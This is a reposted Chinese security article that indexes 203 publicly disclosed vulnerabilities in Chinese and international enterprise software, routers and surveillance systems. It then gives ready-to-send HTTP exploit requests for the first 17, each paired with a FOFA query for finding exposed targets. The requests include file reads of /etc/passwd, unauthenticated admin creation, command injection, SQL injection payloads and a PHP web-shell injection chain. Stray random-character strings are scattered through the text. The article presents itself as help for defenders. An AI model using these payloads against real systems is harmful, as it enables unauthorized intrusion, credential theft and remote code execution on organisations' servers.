互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
: ~+ ?4 W6 g5 u. T道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
* S: D; I* |7 `6 v3 I' Q' i8 b
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
! |  A2 x: Z- y( h5 k
4 b/ M0 f" p5 ~( v) c漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
4 ~% k! e+ G* s- d3 D
* y3 x" N7 T- Q, E安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

  Z3 i9 H. {1 O& {7 q文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

: h6 b7 @! v5 H/ K
8 {, |2 l6 z% S声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

, \' m7 D) r  |有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

5 t$ E2 l; D* n: r8 F
/ s  J# A) f( J; a) t
目录
9 V" L+ O2 @; o3 L9 I- D
* Y! i9 j5 Y" d, Z. _8 _01
6 L3 y. s) E$ e8 Z
1 T7 @. e+ `, r  w  [# E: L1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
8 k2 \8 l5 R4 _. ]3 e. o/ T+ V5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
# D1 h% f+ }. I9 W, Z7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
  O1 C1 D7 `! i5 ^10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
2 T9 t0 q$ Q0 j6 h, d( M9 ]13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
, f' l: E; Z7 c5 S  a) F2 z19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
& k+ d! z+ G! y8 r& ^- P& |22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ i4 T3 m0 [# O- z1 b0 R/ r; q24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
& _' |7 C! n" ^. ^' h8 ]. w3 D29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
6 q' {) s# l, I  j/ x) a$ g& l33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
; J- Q2 h$ v, c9 J  U  E35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
) H, l) N6 K/ D37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
$ x, u: `9 c6 B+ L4 W40. 用友U8-Cloud XChangeServlet XXE
. z: J% Y) w4 x. K% T: k41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
( {5 h+ `2 B6 u0 S4 O42. 用友GRP-U8 SmartUpload01 文件上传
! u5 e% ?" y. @7 \3 W* \) m43. 用友GRP-U8 userInfoWeb SQL注入致RCE
$ M) e1 ^6 f/ n: v7 ?44. 用友GRP-U8 bx_dj_check.jsp SQL注入
5 B7 @" m; t) G45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
; {6 L$ u2 ~' }/ ^/ e47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
, m9 g) D3 T" a, i4 L49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& w3 m1 ]0 y1 @* @52. 泛微E-Office json_common.php sql注入
6 Q! b1 |, ]+ S3 B0 Y53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
( V* g! Q' c9 G, W4 c2 U. J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
( ]2 n( q( E9 E9 F57. 畅捷通T+ keyEdit.aspx SQL注入
/ q/ D8 \8 x: o$ E58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
6 g" M  p# k2 ]( S6 Q61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
& W+ y* F% |0 v6 {% Q6 C2 u63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
, _0 j7 _& d. a7 {- P  j65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' N' w5 Q' o2 N+ X( @" [0 a" W66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
' K/ }* O8 {, L1 N3 G$ X67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
3 M) x9 Z7 P7 c7 F72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
* q- `4 {& X" E75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
) R7 Q# Q! k; J  C% p+ T76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 f: u; ~: w) G  l0 w+ Q83. JeecgBoot testConnection 远程命令执行
# }6 F6 r- q1 Q4 w84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
/ R$ f( Q0 J! g1 T% c$ v87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
( n/ N( E0 [( w89. 致远互联FE协作办公平台editflow_manager存在sql注入
  l$ ]1 i, [! }: h. f1 _90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
0 |$ P% q' h8 v8 d# ~% s: P91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
( P& O1 ?" I% L93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 R" d# C9 `3 W' a& x* \' b94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
  a8 K# P* c; p97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 l: `) I/ d5 C/ F98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
8 I  E2 H* {2 r7 C101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
9 F/ }# A8 H, n# f0 d103. Ivanti Pulse Connect Secure VPN XXE
$ |7 W: q/ z$ n( i3 `) N- f104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
  v; y# {* u" ^  k105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
9 |3 p2 n- |( z7 q( D+ C109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
, C# c- ~: l  j; m7 V2 _. e  h114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
# ~( }9 y  y: H- ^7 W+ ]116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
$ B+ [1 \- T5 m  e7 }* \. y118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; E7 f# l5 k+ \* ^4 m& e& m, T3 B% x119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 _: q7 F1 w: X8 @4 A0 |120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 T" f1 s! a( j& q8 K122. 北京百绰智能s200管理平台/importexport.php sql注入
2 J, @. M& ]. `( P8 [" e123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
: }; f1 @' ~. k127. 广联达Linkworks DataExchange.ashx XXE
$ m; ]/ C& N* \1 D- ]. h2 T/ P128. Adobe ColdFusion 反序列化
, P9 l# j( U) j* e5 \: L129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
8 \9 c5 M* F1 @* t! \. I131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
5 a  N; q& G" _! o133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
' Q1 t: m0 W( j143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
; w; o( M& i+ p: J! ~3 V9 q146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
" {" V  X5 Q" Z* {, _1 Q: a152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
; J3 P% O; h& q( R4 ?154. 天维尔消防救援作战调度平台 SQL注入
+ v5 z. }( m% S155. 六零导航页 file.php 任意文件上传
2 O4 R* z' }  W# y) G5 U. G156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
" l2 J' O5 {, Q, t+ N158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
" O% W! A( ~& o& G8 T160. Sonatype Nexus Repository 3目录遍历与文件读取
5 N# l0 l2 Y2 [. w' a& q1 u  F8 k161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
6 i& E4 s! f6 E163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
. g: a- Y; r/ f8 l0 @/ p0 w, l) I: a164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
7 z8 n/ r2 R  @' v5 e167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
* k4 W% U0 T' i- [& F' i170. 宏景EHR DisplayExcelCustomReport 任意文件读取
5 ~! M! F$ G2 W9 b* d% W+ D' R  R4 R171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
  u& {% N& `& x3 y173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 t! D/ s+ ^0 l+ m. E; J# V175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
* J) `# V. t. r4 p2 N177. H3C路由器敏感信息泄露
, u" L; r/ B( e0 o178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 n! {% w, C5 D( y: n8 [179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
' x* O! K1 H$ `2 P( b181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
8 F8 k4 V  [4 l9 X" t2 z2 g183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
1 M; [7 \4 B  X% q! b& s# Q187. Mura CMS processAsyncObject SQL注入
& c' s8 z+ G' W188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
2 W7 V* R8 Y) P4 N# M! s0 E. L/ p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
0 m0 r3 m% i/ m  q* b8 J' V193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
& W6 {( y" B/ c+ b+ J  T194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
3 W' B* q* s4 X. c/ C, X2 s196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
' f6 I0 z' N' q; ~6 u9 F' R/ v" @0 N198.  阿里云盘 WebDAV 命令注入
2 y5 |0 S  F) U0 y199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

: s9 w1 z) L( J* BPOC列表

) N( h6 K' K/ y/ k$ F02
( ?' J: v* Y1 B2 G8 c3 S
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
* F8 _. @# U' _/ R# P8 K% Q7 xGET /mem_tracker HTTP/1.1
& a. N$ h$ k4 Y- ~9 @1 h' v4 HHost: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
& G$ w8 V- o6 [5 lHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


3 R5 o' e3 o0 p4 F7 s% H0 ]' R3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
% A" P5 l' {; G9 C+ Y1 ?Host: xx.xx.xx.xx


( T: i! f& m! N! K* b! I; }4. EasyCVR视频管理平台存在任意用户添加
0 S/ i8 T; ~/ Z. N9 l& k. vFOFA ：title="EasyCVR"
( {, W4 i! t4 K) A7 E' c* _
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
) F8 L4 X) G4 x( bHost: your-ip
0 x6 g4 {% [# E4 g+ g3 r/ r- a. XContent-Type: application/x-www-form-urlencoded; charset=UTF-8

5 }. n# _) ^1 [" w9 r& [: yname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
3 x& y2 ^8 `5 h5 |6 E2 x' U! E
) f6 B; P/ n. c  z' t: }& F
5. NUUO NVR 视频存储管理设备远程命令执行
/ m9 C6 h3 _- d- x# A+ z( Y. r7 lFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
' N1 g4 N. O% O7 p) t

6. 深信服 NGAF 任意文件读取
4 n0 {- o" I9 l6 V5 O) R6 lFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
: \, g8 n3 \* g/ z

( t0 h6 ?/ p# S2 B6 c6 ]! D7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
; ?& [9 I6 \* V% u/ x* bHost:
3 {/ U3 ^/ v1 R- b/ ~

' @) ^; L# b4 s4 m& J3 L6 q7 o8. 斐讯 Phicomm 路由器RCE
* ~" u: U9 E4 V* d( L' Z) v# J$ jFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
  e& F6 l/ H  H# A0 e  K) C5 |! hHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
* d3 o$ o& u9 |6 X& ~2 {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
' c5 Z8 F( s$ B! y/ |( lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

! k  H/ y) p9 W, I* a* a& m------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
( d& K- m: z2 B7 ~$ B+ }
12:00; id;
6 B) s% P2 f4 h' L  v. P% W" U------WebKitFormBoundaryxbgjoytz
: u6 W* b! r& RContent-Disposition: form-data; name="wifiRebootendrange"

& O. V% n* T5 P* \/ \%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
0 c, G( m$ S* D
% j, }/ c( A( [( g8 |
' y; [) h$ F! C0 A! Z" x+ f5 p- Q------WebKitFormBoundaryxbgjoytz--
, [. e" L: U+ ]: L
3 Q' _. Q8 l# o
$ K$ P3 a' j8 Y6 L9. 稻壳CMS keyword 未授权SQL注入
! S1 j0 F, v. C9 cFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

  c) k8 _1 R8 h0 e. G- t
payload为下列语句的二次Url编码
! l! N* j2 I7 b0 _$ J. A
3 K4 s" T  h* u- y9 s; E' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

  e( o+ y+ c4 w  t' ~- g2 n6 [7 H' O10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
, x4 E' ]' Y# J6 |0 r2 e" G' l# W, F( cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
" M( G* ^2 L! f0 MContent-Length: 197
: \5 @8 [% X/ I* w, d; m; dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ n4 D, c$ Y4 ^. H7 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
- |+ |/ B1 ~9 t) GContent-Disposition: form-data; name="file"filename="icfitnya.txt"
& B0 F1 n/ f3 I, MContent-Type: text/html
: `0 P; X1 C8 A
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
6 T& P5 G$ x7 c& ?

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
5 j! |9 A2 Z8 y4 }/ w3 F1 L7 L8 CHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 ^+ T$ O6 D% ]: v% k8 @Accept-Encoding: gzip, deflate
2 a4 Y! A7 d" x( a4 I3 Z2 PAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


1 s* p9 z- I# f' z0 \1 ?; ^' g+ Y12. Jorani < 1.0.2 远程命令执行
/ j; u2 ~/ s* \, Y- B5 dFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
) N, ?7 X, Y3 S' w. HHost: 192.168.190.30
9 ?& K8 Z1 C& z' }0 q! m- _! uUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
6 {, d9 k* F2 A& W: ^Connection: close
% `2 S1 ^5 c; S! G. |- l& w' RAccept-Encoding: gzip


! ^7 y$ |1 m8 }6 m! V5 U# w响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
; P" \, }" t- W. F) J; |( lDate: Tue, 24 Oct 2023 09:34:28 GMT
) _* _% t4 P) n' X' g' w7 P8 |Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
5 U, |6 W& Z0 u) B2 G: dSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
/ B( b( Q& U6 m3 ^Vary: Accept-Encoding
; `/ b( f0 R% F- F

' b" W8 E3 n; d* U6 n+ JPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
; Z/ D+ `& v7 a) K1 l0 K5 SHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% |; p4 Y7 y* KConnection: close
# ?; R$ a! R; L4 O2 [Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
, m% v& n( U4 F5 R/ ?0 ?/ k+ {


1 l. B" [( a& g6 ]' q/ g向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
* L: S+ ~7 J3 N0 r* {Host: 192.168.190.30
: d* u6 J1 Y: ?" N- s$ ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& g) r8 E: _; N6 d1 X( f' oConnection: close
+ e' m" [$ @% S" rCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
6 L% \0 u( H8 J' }7 V: Y* g0 ^Accept-Encoding: gzip
( U# w* ?* W+ o$ u2 K- |# B

# u% M$ n6 G9 q13. 红帆iOffice ioFileDown任意文件读取
0 |$ a9 S( \: {) ZFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
# Q: }& C( m. O9 \8 Y% @  mAccept: */*
, Y/ ?  ?. q# [7 dAccept-Encoding: gzip
9 c3 j5 u$ p; A& s: K( {

, z6 n, m! C7 F& P4 P14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
7 W4 ]/ v- V5 |+ v- Q2 zAccept-Language: en
  `; c9 c: D/ A9 DAccept-Encoding: gzip
, ]3 i( B4 y( C/ [- z

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
- U9 c( x& D9 w0 ]$ l+ J! @FOFA：body="jshERP-boot"
2 K) p4 F- k8 @2 x泄露内容包括用户名密码
% K3 j, @0 e. `- i! o$ Y  SGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
, q/ a. I5 t. V. y* wHost: 192.168.40.130:100
0 Z- o! k. G4 I: O/ x. IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
7 g2 |# j% t2 J# K4 B3 W1 TConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 T3 A5 |. R" F+ ~# cAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

$ D8 }1 t9 C, w; G$ }. S) G% q
16.  红帆HFOffice医微云SQL注入
5 x1 ^, ~$ m) r; kFOFA：title="HFOffice"
0 d# u8 ]* K! I! T2 Bpoc中调用函数计算1234的md5值
( i3 B% \8 i3 o7 N2 G$ O3 v/ \GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
: g; ]1 R& R; d& CHost: x.x.x.x
* ~6 r, k- J; X7 }User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
9 A" M) o  \& G) lAccept: */*
Accept-Language: en
Accept-Encoding: gzip
! l! f9 S1 j: F# L0 I& q

17. 大华 DSS itcBulletin SQL 注入
. j" Q/ u8 e0 h$ W# NFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
